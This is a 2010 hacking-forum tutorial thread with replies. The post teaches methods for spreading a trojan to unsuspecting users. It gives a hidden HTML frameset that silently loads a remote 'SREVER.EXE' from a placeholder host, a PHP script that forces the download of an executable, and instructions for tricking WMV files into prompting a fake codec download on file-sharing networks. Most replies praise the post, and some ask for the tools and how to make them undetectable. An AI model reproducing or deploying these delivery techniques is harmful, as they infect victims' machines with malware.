BY THE NaME oF aLLaH

:

:

HI EVerY ONE

FRIST OF ALL

Excuse me For my Bad English ..

:

:

our lesson today is some methods i used for spread my Trojan ...

I Will not put any files or programs Because Its my first Thread ^_^

and i do not any one say my files or programs is not clean ... always ask

google if u want any porgrams u see in my thread ^_^ ...

:

:

:

:

OK STOP TALKING AND LETS START

:

=====

:

(!)
Simply by using a php file,you can use it as a trojan/malware downloader.

Iframe in HTML Method

Example of this is:

```
Code <html><head><title> </title></head><frameset rows="0,*">
<frame src="http://website.com/SREVER.EXE" name="top_frame" frameborder="0" scrolling="no"
noresize="noresize" marginheight="0" marginwidth="0"/>
<noframes></body></noframes></frameset></html>
http://website.com/SREVER.EXE >>> (that would be the trojan)
```

```
:
=====
:
```

(!!)

With a php file you can use a short script to call your .exe file and ask for the download. Note that the PHP file and the EXE file must be in the same path, or you can also modify the path in the \$flnm="file.exe"

Example:

PHP Code

```
<?php
$flnm = "archive.exe";
$size = filesize($flnm);
$fopen = fopen($flnm, "r");
$src = fread($fopen, $size);
fclose($fopen);
header("Accept-Ranges: bytes\r\n");
header("Content-Length: ".$size."\r\n");
header("Content-Disposition: inline; filename=".$flnm);
header("\r\n");
header("Content-Type: application/octet-stream\r\n\r\n");
echo $src;
?>
:
=====
:
```

(!!!)

WMV With URLANDEXIT

This Method is very popular these days. Nowadays you can spread malware by uploading tricked wmv files to limewire/ares and other file/moviews shared sites.

With tools like the one shown below you can edit the wmv file to set up a stop time on the file and ask a user to download a fake codec.

[img]<http://www.go4expert.com/forums/images/articles/infect-malwares-around/wmveditorcn8.jpg>[/img]

If you look closely,when the innocent user tries to watch the movie clip,it will show them a message asking for the download. Please see the picture below for a better idea.

[img]http://www.go4expert.com/forums/images/articles/infect-malwares-around/vidjhwz2.jpg[/img]

:
=====

(!!!!)

Be aware of your settings in your pc, do not download anything from a website you don't trust. Below is a picture of an old downloader that used the exploit on old IE/windos This Tool will create a downloader with an extension Jpeg including the picture icon

[img]http://www.megasecurity.org/trojans/j/jpeg/ImagesP/Jpeg_downloader1.0.gif[/img]

:
=====

(!!!!)

The same exploits were used and were very popular couple of years back using a Html downloader. Please see below for a picture so you can have a better idea.

Sub-Z3r0 - February 23, 2010, 8:33 pm

horrible english :) anyways very nice tutorial, thank you!

Xenochrist - February 23, 2010, 9:27 pm

Allah promotes hacking?! Whar to sign up?

Shahz - February 24, 2010, 12:51 am

Uhn, nice, thanks. But can't find any of those programs, any link you can provide?

Xenochrist - February 24, 2010, 12:53 am

What programs do you want? I can take a look.

?ss??? ???s - February 24, 2010, 1:33 am

Interesting tutorial, seems semi anonymous but you encourage the search of your programs? Why not just provide them upfront with a VirusTotal scan.

Xenochrist - February 24, 2010, 1:34 am

Don't use virus total >_>
<_<

LAqi - February 27, 2010, 3:50 am

ALL-LLAH (s.w.t) help bro thnx for greats tutorials

Xaniar - February 27, 2010, 3:55 am

Its a Hacking forum not religion.

And i cant get it,you start teaching how to spread virus in the name of Allah? whats is it for.

tux1 - February 27, 2010, 4:01 am

this is a pretty good tutorial thanks

-mothered- - February 27, 2010, 5:51 am

It's really difficult to read, with some of the text color blending In the background.
From what I could gather, seems pretty good.

eXeSoul™ - February 27, 2010, 9:12 pm

Nice tutorial lol .!

Breakbot - March 9, 2010, 10:18 am

yup , muslims usually write that (in the name...)
when they write any tutorial or text ?

thanks for the tut man

mammissaoui - March 22, 2010, 4:55 pm

this really a good tutoriel and thank u again 4 the share

-mothered- - March 22, 2010, 5:12 pm

Apart from the text not being clearly legible, the tut Is very Informative. Will have to check It out when time permits.

Much appreciate the share.

3SidedSquare - March 22, 2010, 7:26 pm

Bad English, good tutorial. Thanks.

The End Gamer - July 18, 2010, 1:43 pm

anwzz Nice tutorial Dude!
Appreciated

Martee100 - July 18, 2010, 4:20 pm

YOU shld not write In the name of Allah

I am also a muslim but you shld have respect for your God

If you are writing anything abt Islam den start wid The name of Allah

No in these hacking tutorials

I aM sErioUs

hanshoden - July 18, 2010, 4:46 pm

nice method thx for it i will try it

Diamond3x - July 19, 2010, 3:26 am

Does the wmv exploit works on all media players or just WMP?

Uncle Drew - July 19, 2010, 7:43 am

WMV With URLANDEXIT - This method is interesting. But it's kinda old, lol, even though i never heard of it. So i've got a few questions.

1. Can you get me this tool?
2. Is it detected now?
3. If so, how can i make it FUD.
